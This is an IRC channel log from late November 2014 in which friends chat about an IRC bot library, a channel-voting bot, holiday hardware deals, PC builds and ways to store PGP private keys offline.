[2014-11-28T16:39:42-0500] <@awe> Tamini: Yeah, I know.
[2014-11-28T16:40:00-0500] <@awe> Cool.
[2014-11-28T16:40:09-0500] <+Tamini> lets stop pinging everyone now?
[2014-11-28T16:40:12-0500] <@awe> I was like "I should go implement mode updates in my library's user tracking."
[2014-11-28T16:40:19-0500] <@awe> And so I open up the code
[2014-11-28T16:40:31-0500] <@awe> vec[n].update_access_level(mode[]);
[2014-11-28T16:40:34-0500] <@awe> this is already there.
[2014-11-28T16:40:41-0500] <@awe> "Oh. I guess I already did."
[2014-11-28T16:40:52-0500] <@LittleBobbyTables> Ugh
[2014-11-28T16:41:01-0500] <@LittleBobbyTables> Mail in rebates are going to be a pain
[2014-11-28T16:41:06-0500] <@LittleBobbyTables> With like 5 of them :/
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[2014-11-28T16:51:46-0500] <+sdamashek> ahhh
[2014-11-28T16:51:48-0500] <+sdamashek> 4 pings
[2014-11-28T16:52:23-0500] <Tam> basically
[2014-11-28T16:52:27-0500] <Tam> everything is ping-crazy
[2014-11-28T16:52:33-0500] <Tam> sdamashek: are you confirmed for sunday or no?
[2014-11-28T16:54:18-0500] <+sdamashek> Tam: no
[2014-11-28T16:54:24-0500] <+sdamashek> idk about travel
[2014-11-28T16:55:12-0500] <@awe> @users
[2014-11-28T16:55:12-0500] <awebot> Users: &Pidgey, +ubuntor, @LittleBobbyTables, +alokpathy, @awe, +jwoglom, +Tamini, +sdamashek, nezorg, benwaffle, unitedjaymo, bob_twinkles, awebot, , Tam
[2014-11-28T16:55:29-0500] <@awe> I don't know why the empty space, but yay.
[2014-11-28T16:56:15-0500] <@awe> This is uhh...
[2014-11-28T16:56:16-0500] <@awe> interesting.
[2014-11-28T16:56:32-0500] <@awe> This plugin is using a different version of my irc library than awebot is.
[2014-11-28T16:56:37-0500] <Tam> wut
[2014-11-28T16:56:46-0500] <@awe> Yeah.
[2014-11-28T16:57:06-0500] <@awe> It's using a newer version.
[2014-11-28T16:59:44-0500] <@awe> Tam: I compiled awebot with irc 0.1.0, just updated irc to 0.1.1 and then used in this plugin a feature from 0.1.1
[2014-11-28T17:00:05-0500] <Tam> ohh.
[2014-11-28T17:00:42-0500] <@awe> I really need to uhh...
[2014-11-28T17:00:51-0500] <@awe> Improve access level tracking though.
[2014-11-28T17:01:16-0500] <@awe> For example, if I have oper and voice and then deop, my library thinks I'm a member because it only tracks one state.
[2014-11-28T17:02:06-0500] <@LittleBobbyTables> !join
[2014-11-28T17:02:19-0500] <@LittleBobbyTables> @users
[2014-11-28T17:02:19-0500] <awebot> Users: &Pidgey, +ubuntor, @LittleBobbyTables, +alokpathy, @awe, +jwoglom, +Tamini, +sdamashek, nezorg, benwaffle, unitedjaymo, bob_twinkles, awebot, Tam
[2014-11-28T17:02:20-0500] <@LittleBobbyTables> let's play
[2014-11-28T17:02:26-0500] <@awe> !join
[2014-11-28T17:02:26-0500] <&Pidgey> You've already joined this game!
[2014-11-28T17:02:30-0500] <@awe> Oh gosh.
[2014-11-28T17:02:35-0500] <@LittleBobbyTables> idk who the host is lmao
[2014-11-28T17:02:36-0500] <@awe> Yeah.
[2014-11-28T17:02:37-0500] <@awe> Me neither.
[2014-11-28T17:02:42-0500] <@awe> I think it's Hcnsh.
[2014-11-28T17:02:43-0500] <@awe> Who left.
[2014-11-28T17:02:45-0500] <@LittleBobbyTables> force drop?
[2014-11-28T17:02:51-0500] <@awe> >implying there's a way to force drop
[2014-11-28T17:02:56-0500] <@LittleBobbyTables> >restart the bot
[2014-11-28T17:03:06-0500] <@awe> I don't want to restart services just to play Resistance.
[2014-11-28T17:03:25-0500] <@awe> You know, I could make awebot support running resistance pretty easily.
[2014-11-28T17:03:33-0500] <@LittleBobbyTables> ,eh
[2014-11-28T17:03:53-0500] <@awe> It'd basically involve just copy+pasta-ing from Pidgey but I could make it a plugin.
[2014-11-28T17:04:10-0500] <nezorg> how do you all store your private keys?
[2014-11-28T17:04:12-0500] <@LittleBobbyTables> Welp
[2014-11-28T17:04:16-0500] <@LittleBobbyTables> Going to have a sexy as fuck computer
[2014-11-28T17:04:19-0500] <@awe> nezorg: It's in a file on my computer.
[2014-11-28T17:04:19-0500] <@LittleBobbyTables> With a 970
[2014-11-28T17:04:24-0500] <@LittleBobbyTables> For like 700 bucks <3
[2014-11-28T17:04:39-0500] <nezorg> awe: ...ah.
[2014-11-28T17:04:54-0500] <@awe> nezorg: I recommend printing it out and storing it in a vault.
[2014-11-28T17:05:05-0500] <Tam> lol
[2014-11-28T17:05:14-0500] <Tam> buy yourself a vault to store your private keys
[2014-11-28T17:05:26-0500] <@awe> nezorg: take it to IMF and ask them to store it
[2014-11-28T17:05:42-0500] <nezorg> awe: printing it is what it's looking like I'm going to do
[2014-11-28T17:05:53-0500] <Tam> did you finally generate them? :P
[2014-11-28T17:05:57-0500] <nezorg> not yet
[2014-11-28T17:05:59-0500] <Tam> LOL
[2014-11-28T17:06:04-0500] <@awe> Printing them is legitimate if you don't need to use it that often.
[2014-11-28T17:06:04-0500] <Tam> It's been what, a week now? :P
[2014-11-28T17:06:08-0500] <nezorg> first have to figure out how to store them
[2014-11-28T17:06:16-0500] <@awe> But I use my private key to connect to SSH sessions.
[2014-11-28T17:06:30-0500] <nezorg> awe: well I'll have my master printed out and non-master as encypted file
[2014-11-28T17:06:44-0500] <nezorg> Tam: I'd like this one to last a while
[2014-11-28T17:06:45-0500] <@awe> I'm not sure how that'd work.
[2014-11-28T17:07:04-0500] <nezorg> awe: you can have multiple keys under one master key
[2014-11-28T17:07:16-0500] <@awe> Ah.
[2014-11-28T17:07:18-0500] <Tam> Ah, okay. 
[2014-11-28T17:07:18-0500] <@awe> I should probably do that.
[2014-11-28T17:07:26-0500] <Tam> you're going a bit crazy with it, but then
[2014-11-28T17:07:30-0500] <nezorg> so that things aren't totally blown up if you lose your working key
[2014-11-28T17:07:30-0500] <Tam> you're you so that's not too surprising
[2014-11-28T17:07:57-0500] <nezorg> I have a chromebook sitting around doing nothing, so I might as well repurpose it
[2014-11-28T17:08:26-0500] <@awe> nezorg: Another option is to store it on a flash drive and never plug the flash drive into a computer that's connected to the internet.
[2014-11-28T17:08:53-0500] <@awe> And only use the key while not connected to the Internet.
[2014-11-28T17:08:53-0500] <nezorg> awe: I'll probably do that as well, but flash drives can get randomly corrupted
[2014-11-28T17:23:25-0500] <@LittleBobbyTables> oman
[2014-11-28T17:23:31-0500] <@LittleBobbyTables> This is GREAT if it's actually true
[2014-11-28T17:23:48-0500] <@LittleBobbyTables> tl;dr may get something for ~150 bucks cheaper than I should have, not including the mail in rebate.
[2014-11-28T17:37:44-0500] <nezorg> so smart cards look nice
[2014-11-28T17:38:12-0500] <nezorg> except for the fact that they seem to only support a fairly short PIN rather than a full password
[2014-11-28T17:38:48-0500] <nezorg> although I guess since you can't guess the PIN more than three times it doesn't make a difference
[2014-11-28T17:42:06-0500] <nezorg> I'm being so paranoid right now
[2014-11-28T17:48:26-0500] <Tam> you are
[2014-11-28T17:48:29-0500] <Tam> but isnt paranoia fun?
[2014-11-28T17:55:40-0500] <nezorg> nyeh
[2014-11-28T17:55:59-0500] <nezorg> it unfortunately makes people think you're crazy
[2014-11-28T17:56:03-0500] <nezorg> and they might be right
[2014-11-28T18:10:40-0500] <Tam> lol
[2014-11-28T18:10:50-0500] <Tam> well depends, how all out are you going?
[2014-11-28T18:25:32-0500] <nezorg> like
[2014-11-28T18:25:58-0500] <nezorg> I'm not trusting my printer, so I'll write out my private key on paper manually
[2014-11-28T18:26:23-0500] <nezorg> which will be pain for a 4096-bit key
[2014-11-28T18:36:42-0500] <Tam> LOL
[2014-11-28T18:36:44-0500] <Tam> UH
[2014-11-28T18:36:51-0500] <Tam> YEAH nezorg, you're a little crazy :P
[2014-11-28T18:37:08-0500] <Tam> what's so important that you can't even trust your printer? :P
[2014-11-28T18:37:32-0500] <nezorg> well I'm hoping to make this a long-term key
[2014-11-28T18:37:42-0500] <nezorg> and who knows what I could be doing in a few years
[2014-11-28T18:38:12-0500] <Tam> lol
[2014-11-28T18:38:24-0500] <Tam> this is why i wanted a selfie and a autograph now, but noooo
[2014-11-28T18:38:31-0500] <Tam> you had to get on a plane and leave before a selfie :(
[2014-11-28T18:38:38-0500] <nezorg> :P
[2014-11-28T18:39:08-0500] <Tam> welp tell me when you finish writing your 4096-bit key down
[2014-11-28T18:39:16-0500] <Tam> so we can start sending each other "super sekreht" messages
[2014-11-28T18:39:17-0500] <Tam> :P
[2014-11-28T18:39:24-0500] <nezorg> haven't generated it yet
[2014-11-28T18:39:46-0500] <nezorg> I'd probably buy a smart card before I start using it anyway though
[2014-11-28T18:43:24-0500] <Tam> :P
[2014-11-28T18:43:28-0500] <Tam> much ocd
[2014-11-28T18:47:27-0500] <nezorg> many paranoia
[2014-11-28T18:47:29-0500] <nezorg> such weird
[2014-11-28T18:47:30-0500] <nezorg> wow
[2014-11-28T18:51:26-0500] <Tam> when do you plan to get one? :P
[2014-11-28T18:52:47-0500] <nezorg> if I decide on getting one, probably the next few days
[2014-11-28T18:52:59-0500] <nezorg> don't know how long they take to ship
[2014-11-28T18:53:55-0500] <Tam> cyber monday deals whee
[2014-11-28T18:53:56-0500] <Tam> :P
[2014-11-28T18:54:43-0500] <@LittleBobbyTables> I need help thinking of a monitor.
[2014-11-28T18:55:26-0500] <Tam> uhh
[2014-11-28T18:55:36-0500] <Tam> first you visualize the image you want in your mind....
[2014-11-28T18:55:36-0500] <Tam> :P
[2014-11-28T18:55:40-0500] <Tam> jk, what are you looking for exactly?
[2014-11-28T18:56:01-0500] <nezorg> I want a cheap 4k monitor
[2014-11-28T18:56:05-0500] <nezorg> which is an oxymoron
[2014-11-28T18:56:10-0500] <@LittleBobbyTables> 1080p 60hz. Preferably a smaller screen so I can actually put it somewhere in my room.
[2014-11-28T18:56:52-0500] <nezorg> care about color accuracy?
[2014-11-28T18:56:57-0500] <Tam> well if 4k is cheap to you
[2014-11-28T18:57:01-0500] <Tam> there you go
[2014-11-28T18:57:09-0500] <nezorg> ...huh?
[2014-11-28T18:57:19-0500] <nezorg> I said 4k isn't cheap for me :(
[2014-11-28T18:57:22-0500] <Tam> oh
[2014-11-28T18:57:27-0500] <Tam> you said oxymoron
[2014-11-28T18:57:32-0500] <Tam> i was claiming it didnt have to be
[2014-11-28T18:57:32-0500] <@LittleBobbyTables> As long as I can tell the difference between everything, nezorg
[2014-11-28T18:57:32-0500] <Tam> :P
[2014-11-28T18:58:01-0500] <@LittleBobbyTables> Like, I don't need #131313 to look exactly like that, but I should be able to tell the difference between it and #000000
[2014-11-28T18:58:09-0500] <nezorg> LittleBobbyTables: then go on techbargains, click on monitors, and browse!
[2014-11-28T18:58:20-0500] <nezorg> any should be fine
[2014-11-28T19:00:29-0500] <@awe> Color accuracy is super important.
[2014-11-28T19:00:41-0500] <Tam> awe, not everyone is you
[2014-11-28T19:00:46-0500] <Tam> some people don't need everything to be perfect
[2014-11-28T19:00:46-0500] <@awe> That's like the only important task for a monitor. .-.
[2014-11-28T19:03:09-0500] <Tam> that, and working properly
[2014-11-28T19:05:04-0500] <@LittleBobbyTables> As long as I can tell the difference between colors, I really don't give too many fucks
[2014-11-28T19:14:06-0500] <nezorg> ooooooohhh a 4k monitor on sale
[2014-11-28T19:14:14-0500] <nezorg> but it's still $450 :'(
[2014-11-28T19:14:51-0500] <Tam> uhhh
[2014-11-28T19:14:54-0500] <nezorg> considering how much stuff I do with a monitor it might be worth it though
[2014-11-28T19:14:56-0500] <Tam> thats a very very big discount
[2014-11-28T19:14:59-0500] <Tam> ^
[2014-11-28T19:15:01-0500] <Tam> how many do you have right now?
[2014-11-28T19:15:09-0500] <Tam> are you building a full battlestation <3
[2014-11-28T19:15:11-0500] <nezorg> it's only a $150 discount
[2014-11-28T19:15:41-0500] <nezorg> I only have laptop (2880x1800 mmmm) + 23" 1080p right now
[2014-11-28T19:16:19-0500] <Tam> then I'd say get a monitor
[2014-11-28T19:16:21-0500] <Tam> and well i mean
[2014-11-28T19:16:23-0500] <Tam> how do you like it?
[2014-11-28T19:16:25-0500] <Tam> is it worth it?
[2014-11-28T19:16:45-0500] <nezorg> toms hardware essentially called it the best 4k monitor <$1000
[2014-11-28T19:16:58-0500] <nezorg> apparently its colors are actually really good
[2014-11-28T19:17:48-0500] <nezorg> I guess I do have $1500 incoming... shit, that's what I'm going to say to justify all my purchases
[2014-11-28T19:17:51-0500] <Tam> :P
[2014-11-28T19:17:54-0500] <Tam> from what?
[2014-11-28T19:17:56-0500] <Tam> Oh right
[2014-11-28T19:17:57-0500] <Tam> you
[2014-11-28T19:17:59-0500] <Tam> -.-
[2014-11-28T19:18:06-0500] <Tam> overachiever.
[2014-11-28T19:18:07-0500] <nezorg> ty cmu
[2014-11-28T19:18:17-0500] <Tam> you might as well take all the prize money
[2014-11-28T19:18:20-0500] <@LittleBobbyTables> nezorg, how's this monitor? http://www.ebay.com/itm/291286886742
[2014-11-28T19:20:33-0500] <nezorg> no vesa mount
[2014-11-28T19:20:37-0500] <nezorg> other than that seems good
[2014-11-28T19:21:03-0500] <nezorg> also only hdmi and vga
[2014-11-28T19:21:11-0500] <@LittleBobbyTables> Yeah, both are fine.
[2014-11-28T19:21:12-0500] <nezorg> kinda weird but probably acceptable
[2014-11-28T19:21:14-0500] <nezorg> okay
[2014-11-28T19:21:22-0500] <@LittleBobbyTables> What's vesa mount?
[2014-11-28T19:21:54-0500] <nezorg> universal monitor mount so you can change the stand / wall mount it
[2014-11-28T19:22:26-0500] <@LittleBobbyTables> Oh hmm
[2014-11-28T19:22:32-0500] <+alokpathy> Er, what's the best laptop I could get for a $150-$200 budget? 
[2014-11-28T19:22:36-0500] <@LittleBobbyTables> None
[2014-11-28T19:22:42-0500] <+alokpathy> gg
[2014-11-28T19:22:45-0500] <@LittleBobbyTables> Do they even sell laptops that cheap? lol
[2014-11-28T19:22:47-0500] <nezorg> alokpathy: imo acer c720
[2014-11-28T19:22:48-0500] <Tam> LOL
[2014-11-28T19:22:56-0500] <Tam> chromebooks are practically free? :P
[2014-11-28T19:23:02-0500] <+alokpathy> Tam: ew no
[2014-11-28T19:23:06-0500] <+alokpathy> LittleBobbyTables: Around this time of year, yeah
[2014-11-28T19:23:08-0500] <Tam> also nezorg: hey you have a lot of money coming in, contribute your funds to flying our team to cmu <3
[2014-11-28T19:23:11-0500] <nezorg> alokpathy: I have one and it's actually pretty nice
[2014-11-28T19:23:19-0500] <+alokpathy> Hm lemme see 
[2014-11-28T19:23:26-0500] <nezorg> alokpathy: it's a chromebook but easily hackable
[2014-11-28T19:23:40-0500] <nezorg> plus no non-foss drivers except bluetooth
[2014-11-28T19:23:43-0500] <+alokpathy> Hmm
[2014-11-28T19:24:05-0500] <@LittleBobbyTables> nezorg: so should I gogo on that monitor?
[2014-11-28T19:24:18-0500] <nezorg> alokpathy: amazon has it on sale for $150 today
[2014-11-28T19:24:25-0500] <nezorg> LittleBobbyTables: sure, it seems fine
[2014-11-28T19:24:41-0500] <+alokpathy> nezorg: Dell inspiron 15 or no?
[2014-11-28T19:25:04-0500] <nezorg> alokpathy: 5000?
[2014-11-28T19:25:42-0500] <nezorg> oh, no
[2014-11-28T19:25:50-0500] <nezorg> the cheapest ones, derp
[2014-11-28T19:26:20-0500] <nezorg> alokpathy: want a screen that big?
[2014-11-28T19:26:21-0500] <@LittleBobbyTables> bleh
[2014-11-28T19:26:30-0500] <@LittleBobbyTables> idk if I wanna pay that much just to have the monitor ship at the same time
[2014-11-28T19:26:32-0500] <nezorg> alokpathy: also hdd blech
[2014-11-28T19:26:39-0500] <@LittleBobbyTables> Everything else is arriving around the 2nd, this would be around the fifth...
[2014-11-28T19:26:41-0500] <Tam> LittleBobbyTables: then don
[2014-11-28T19:26:42-0500] <Tam> t
[2014-11-28T19:26:47-0500] <Tam> you can wait 3 days man >.>
[2014-11-28T19:26:53-0500] <@LittleBobbyTables> Totally can't.
[2014-11-28T19:27:10-0500] <+alokpathy> nezorg: I already one that big lol. I'm fine with it.
[2014-11-28T19:27:55-0500] <nezorg> alokpathy: gonna run windows or linux?
[2014-11-28T19:28:02-0500] <+alokpathy> nezorg: Linux
[2014-11-28T19:29:47-0500] <nezorg> alokpathy: tech specs look alright, but it gets bad reviews
[2014-11-28T19:29:54-0500] <Tam> alokpathy: *stares*
[2014-11-28T19:30:01-0500] <Tam> what will you be running on that, apothy? :P
[2014-11-28T19:30:37-0500] <+alokpathy> nezorg: Bad reviews where?
[2014-11-28T19:30:56-0500] <+alokpathy> Tam: Probably Ubuntu until I switch to Arch :P
[2014-11-28T19:32:28-0500] <Tam> lol
[2014-11-28T19:32:36-0500] <Tam> why are you so averse to doing this with me man
[2014-11-28T19:32:37-0500] <Tam> </3
[2014-11-28T19:32:43-0500] <@LittleBobbyTables> Hmm
[2014-11-28T19:32:47-0500] <+alokpathy> Tam: I need to write college apps LOL
[2014-11-28T19:32:53-0500] <@LittleBobbyTables> People are saying if you have a high-end card, that monitor isn't really worth it.
[2014-11-28T19:33:03-0500] <@LittleBobbyTables> I have a 970, so I'm not sure if I should get it :/
[2014-11-28T19:33:38-0500] <nezorg> alokpathy: hmm, amazon reviews look alright; build quality seems so-so though
[2014-11-28T19:33:47-0500] <nezorg> LittleBobbyTables: what do they mean by that?
[2014-11-28T19:34:19-0500] <@LittleBobbyTables> That's all they're saying. 
[2014-11-28T19:34:27-0500] <nezorg> wat
[2014-11-28T19:34:43-0500] <@LittleBobbyTables> They're saying it's fine for a midrange card
[2014-11-28T19:35:07-0500] <nezorg> 970 is sorta midrange (sort of)
[2014-11-28T19:35:17-0500] <@LittleBobbyTables> ...?
[2014-11-28T19:35:23-0500] <@LittleBobbyTables> It's a 600 dollar card normally
[2014-11-28T19:35:25-0500] <@LittleBobbyTables> How is that mid range lol
[2014-11-28T19:35:32-0500] <nezorg> I guess they mean you can't get >60Hz
[2014-11-28T19:35:41-0500] <+alokpathy> nezorg: Hmm okay
[2014-11-28T19:35:41-0500] <@LittleBobbyTables> Yeah, which I don't care for too much
[2014-11-28T19:35:47-0500] <nezorg> LittleBobbyTables: uhhhh no, it's a $350 card
[2014-11-28T19:35:48-0500] <+alokpathy> lol it just went out of stock at Office Depot LOL
[2014-11-28T19:36:32-0500] <@LittleBobbyTables> Oh huh, it is
[2014-11-28T19:36:50-0500] <nezorg> so it's mid-to-high-end
[2014-11-28T19:36:54-0500] <@LittleBobbyTables> I swear it was just on sale for 350
[2014-11-28T19:37:01-0500] <nezorg> wat
[2014-11-28T19:37:14-0500] <@LittleBobbyTables> Like the r9 290 was on sale for 200 earlier
[2014-11-28T19:37:37-0500] <nezorg> has amd improved their linux drivers yet?
[2014-11-28T19:37:51-0500] <@LittleBobbyTables> ish
[2014-11-28T19:38:00-0500] <nezorg> hmm
[2014-11-28T19:38:28-0500] <nezorg> well in any case I'm happy with my 770
[2014-11-28T19:38:36-0500] <nezorg> 970 is definitely nice though
[2014-11-28T19:38:54-0500] <nezorg> I was going to upgrade through evga step up but then completely forgot :(
[2014-11-28T19:39:06-0500] • nezorg: stupidus sum
[2014-11-28T19:39:37-0500] <@LittleBobbyTables> http://www.newegg.com/Product/Product.aspx?Item=N82E16824236335
[2014-11-28T19:39:41-0500] <@LittleBobbyTables> What about that one?
[2014-11-28T19:39:56-0500] <nezorg> (wow, that made no sense... why did I use sum)
[2014-11-28T19:40:26-0500] <@LittleBobbyTables> Between the two, which would you suggest
[2014-11-28T19:40:34-0500] <nezorg> LittleBobbyTables: I think the first one is fine if you don't care about > 60Hz
[2014-11-28T19:40:46-0500] <@LittleBobbyTables> Alright
[2014-11-28T19:40:54-0500] <@LittleBobbyTables> >60Hz isn't much of a concern
[2014-11-28T19:43:01-0500] <@LittleBobbyTables> Wanna see my build as well?
[2014-11-28T19:43:28-0500] <nezorg> sure!
[2014-11-28T19:43:33-0500] <@LittleBobbyTables> http://pcpartpicker.com/p/YY89FT. Not sure if there's anything I should have changed.
[2014-11-28T19:43:44-0500] <@LittleBobbyTables> Some people are saying the PSU isn't great, but for 30 bucks, I thought it was an amazing deal.
[2014-11-28T19:44:14-0500] <@LittleBobbyTables> Others are like "HDD isn't that great cause it has lower reliability", but I've had decent personal experience with them. mobo is the only thing I'm concerned about, really.
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[2014-11-28T19:51:29-0500] <@LittleBobbyTables> nezorg: I'd consider 970 a high-end card, since every rates it in the top 10 of best
[2014-11-28T19:54:09-0500] <nezorg> LittleBobbyTables: the main mod I'd make to that build is an ssd at least for boot, since they're fairly cheap nowadays
[2014-11-28T19:54:39-0500] <@LittleBobbyTables> Yeah, I was debating that.
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[2014-11-28T19:55:50-0500] <Tam> nezorg calling himself stupid in latin
[2014-11-28T19:55:54-0500] <Tam> i find some issue with that
[2014-11-28T19:56:02-0500] <nezorg> LittleBobbyTables: eh, it makes a big difference for me, but ymmv
[2014-11-28T19:56:13-0500] <nezorg> Tam: it wasn't even correct latin...
[2014-11-28T19:56:19-0500] <Tam> i know
[2014-11-28T19:56:22-0500] <Tam> but still ;P
[2014-11-28T19:56:34-0500] <nezorg> at first I thought to use est
[2014-11-28T19:56:55-0500] <nezorg> but then for some reason I thought "this is myself, I should use sum"
[2014-11-28T19:57:07-0500] <nezorg> without realizing it would end up in 3rd person
[2014-11-28T19:57:08-0500] <@LittleBobbyTables> nezorg: eh, boot time isn't that big of a concern, really.
[2014-11-28T19:57:13-0500] <Tam> also
[2014-11-28T19:57:14-0500] <Tam> fatuus
[2014-11-28T19:57:35-0500] <Tam> or something
[2014-11-28T19:57:56-0500] <nezorg> stupidus is valid too
[2014-11-28T19:58:11-0500] <nezorg> according to wiki
[2014-11-28T19:58:34-0500] <Tam> oh huh
[2014-11-28T19:58:36-0500] <Tam> :P
[2014-11-28T19:58:46-0500] <Tam> well i mean
[2014-11-28T19:58:49-0500] <Tam> it does come out to be
[2014-11-28T19:58:51-0500] <Tam> I am stupid
[2014-11-28T19:58:56-0500] <Tam> which is what you were going for isnt it
[2014-11-28T19:59:06-0500] <nezorg> well it had a nezorg in front of it
[2014-11-28T19:59:21-0500] <+alokpathy> Tam: Woah you're still here
[2014-11-28T19:59:23-0500] <+alokpathy> but you left
[2014-11-28T19:59:24-0500] <nezorg> it was a /me
[2014-11-28T19:59:25-0500] <+alokpathy> at the same time
[2014-11-28T20:00:39-0500] <Tam> LOL
[2014-11-28T20:00:42-0500] <Tam> yeah phone client
[2014-11-28T20:00:49-0500] <Tam> dammit irccloud y u want my money
[2014-11-28T20:02:05-0500] <+alokpathy> Tam: So they can actually function :P
[2014-11-28T20:02:21-0500] <Tam> lol
[2014-11-28T20:02:26-0500] <Tam> someone else should totally
[2014-11-28T20:02:45-0500] <Tam> support my bouncer
[2014-11-28T20:02:57-0500] <Tam> so i dont keep disconnecting + it will log pdgn
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[2014-11-28T20:16:57-0500] <@awe> Tam: I'm running a znc client.
[2014-11-28T20:17:01-0500] <@awe> Tam: I could technically give you an account.
[2014-11-28T20:17:26-0500] <Tam> awe: maybe :P
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[2014-11-28T20:25:19-0500] Tamini is on +#pdgn 
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[2014-11-28T20:28:58-0500] <+alokpathy> Tam: Salutations.
[2014-11-28T20:29:15-0500] <+alokpathy> Tamini: Salutations. 
[2014-11-28T20:29:32-0500] <Tam> hey alokpathy.
[2014-11-28T20:29:37-0500] <Tam> oh right
[2014-11-28T20:29:39-0500] <Tam> that's not me
[2014-11-28T20:29:41-0500] <Tam> LOL
[2014-11-28T20:29:56-0500] <Tam> awe is letting me znc
[2014-11-28T20:30:08-0500] <+alokpathy> o oops
[2014-11-28T20:30:10-0500] <@awe> Well, it is you.
[2014-11-28T20:30:13-0500] <@awe> You're just not on it yet.
[2014-11-28T20:30:56-0500] <+alokpathy> So it's nobody 
[2014-11-28T20:34:03-0500] <+alokpathy> .active
[2014-11-28T20:34:03-0500] <&Pidgey> Proposal (1) to oper Tamini (Y: 3, N 1).
[2014-11-28T20:34:03-0500] <&Pidgey> Proposal (2) to oper Hcnsh (Y: 2, N 3).
[2014-11-28T20:34:03-0500] <&Pidgey> Proposal (7) to change the topic to poop (Y: 1, N 1).
[2014-11-28T20:34:03-0500] <&Pidgey> Proposal (0) to deop LittleBobbyTables (Y: 5, N 2).
[2014-11-28T20:34:03-0500] <&Pidgey> Proposal (4) to deop awe (Y: 1, N 1).
[2014-11-28T20:34:03-0500] <&Pidgey> Proposal (6) to oper Hcnsh (Y: 1, N 1).
[2014-11-28T20:34:03-0500] <&Pidgey> Proposal (3) to oper failedxyz (Y: 1, N 1).
[2014-11-28T20:34:14-0500] <+alokpathy> .vote 7 yea
[2014-11-28T20:34:14-0500] <&Pidgey> Vote issued.
[2014-11-28T20:34:14-0500] Pidgey changed the topic to poop
[2014-11-28T20:34:14-0500] <&Pidgey> Enacted proposal to change the topic to poop.
[2014-11-28T20:34:20-0500] <+alokpathy> wait
[2014-11-28T20:34:21-0500] <+alokpathy> what
[2014-11-28T20:34:22-0500] <+alokpathy> LOL
[2014-11-28T20:34:28-0500] <+alokpathy> 2 votes?
[2014-11-28T20:34:44-0500] <@awe> .-.
[2014-11-28T20:34:58-0500] <@awe> alokpathy: Why?
[2014-11-28T20:35:01-0500] <@awe> I hate you.
[2014-11-28T20:35:14-0500] <Tam> dont hate apothy
[2014-11-28T20:35:16-0500] <Tam> hes so cute
[2014-11-28T20:35:23-0500] <+alokpathy> I didn't think it'd actually go through .-.
[2014-11-28T20:35:38-0500] <+alokpathy> Sorry awe :(
[2014-11-28T20:35:39-0500] <@awe> Topic changes only take 25% of the online people to pass.
[2014-11-28T20:35:47-0500] <+alokpathy> Oh 
[2014-11-28T20:36:20-0500] <@LittleBobbyTables> .propose topic LittleBobbyTables best BobbyTables
[2014-11-28T20:36:20-0500] <&Pidgey> Proposal 8 is live.
[2014-11-28T20:36:32-0500] <+alokpathy> lolwut
[2014-11-28T20:36:36-0500] <@awe> .vote 8 nay
[2014-11-28T20:36:36-0500] <&Pidgey> Vote issued.
[2014-11-28T20:36:41-0500] awe changed the topic to Pidgey is on GitHub: http://git.io/caK7Kg
[2014-11-28T20:37:42-0500] <@LittleBobbyTables> .vote 0 yea
[2014-11-28T20:37:42-0500] <&Pidgey> You've already voted in that proposal.
[2014-11-28T20:39:44-0500] <nezorg> I can't seem to build gnupg 2.1.0 :'(
[2014-11-28T20:40:58-0500] <Tam> aww :(
[2014-11-28T20:41:04-0500] <@awe> Tam: 
[2014-11-28T20:41:06-0500] <@awe> ?
[2014-11-28T20:41:47-0500] <Tam> hey awe?
[2014-11-28T20:41:54-0500] <@awe> hi
[2014-11-28T20:42:07-0500] <Tam> hi :D
[2014-11-28T20:42:09-0500] <Tam> what's up?
[2014-11-28T20:42:21-0500] <@awe> Oh.
[2014-11-28T20:42:25-0500] <@awe> I had you highlighted.
[2014-11-28T20:42:29-0500] <@awe> I was confused.
[2014-11-28T20:42:31-0500] <@awe> I thought aww pinged me.
[2014-11-28T20:42:33-0500] <@awe> But it didn't.
[2014-11-28T20:42:45-0500] <nezorg> awkward
[2014-11-28T20:42:50-0500] <Tam> LOL
[2014-11-28T20:42:52-0500] <Tam> remember when
[2014-11-28T20:42:54-0500] <Tam> after hsctf
[2014-11-28T20:43:00-0500] <Tam> my phone would autocorrect aww to awe
[2014-11-28T20:44:29-0500] <@awe> :D
[2014-11-28T20:44:34-0500] <@awe> I'm that good.
[2014-11-28T20:44:37-0500] <@awe> I'm also a word.
[2014-11-28T20:45:17-0500] <Tam> yes, you are.
[2014-11-28T20:45:24-0500] <Tam> how's your break going, awe?
[2014-11-28T20:45:28-0500] <Tam> did you go down to new jersey?
[2014-11-28T20:45:32-0500] <@awe> I did.
[2014-11-28T20:46:03-0500] <Tam> how is it?
[2014-11-28T20:46:43-0500] <@awe> It's good, I guess, but I feel pretty unproductive.
[2014-11-28T20:47:08-0500] <Tam> haha, but its break
[2014-11-28T20:47:39-0500] <Tam> breaks are supposed to be unproductive
[2014-11-28T20:49:17-0500] <@awe> I don't like that though.
[2014-11-28T20:50:00-0500] <Tam> find something to do, then
[2014-11-28T20:50:03-0500] <Tam> be less productive :P
[2014-11-28T20:50:17-0500] <@awe> Yeah, I mean I have stuff to do for work.
[2014-11-28T20:50:20-0500] <@awe> Also, math homework.
[2014-11-28T20:52:11-0500] <@LittleBobbyTables> Now, I need to convince my mother to switch to the internet 20x faster for 10 bucks less a month for a year (so saving 120 bucks), then 5 bucks more a month after that.
[2014-11-28T20:52:33-0500] <@LittleBobbyTables> So essentially 3 years of paying the same price for 20x faster internet :(
[2014-11-28T20:53:02-0500] <@LittleBobbyTables> I've even offered to pay her that difference
[2014-11-28T21:00:03-0500] <@LittleBobbyTables> http://i.imgur.com/wgDqx82.jpg
[2014-11-28T21:03:49-0500] <@awe> LittleBobbyTables: you overate?
[2014-11-28T21:04:03-0500] <@LittleBobbyTables> I just found that a clever picture.
[2014-11-28T21:10:49-0500] cyron (uid52391@pdgn-10a.9lf.7cuf9e.IP) joined the channel
[2014-11-28T21:20:07-0500] <@awe> Tam: let me know when you're set up with Tamini
[2014-11-28T21:20:54-0500] <@awe> Tam: or if you need help with anything.
[2014-11-28T21:22:18-0500] <Tam> thanks, man
[2014-11-28T21:22:19-0500] <Tam> yeah
[2014-11-28T21:22:25-0500] <Tam> i just need gus to come back so i can talk to him first
[2014-11-28T21:22:28-0500] <Tam> you're great, awe. :)
[2014-11-28T21:23:31-0500] <@awe> No problemo!
[2014-11-28T21:47:20-0500] <nezorg> so I think I'm actually going to wait a couple months until I generate my keys
[2014-11-28T21:47:41-0500] <Tam> ...seriously? :P
[2014-11-28T21:47:59-0500] <nezorg> yeah
[2014-11-28T21:48:19-0500] <nezorg> it seems like the general consensus is that rsa is pretty iffy
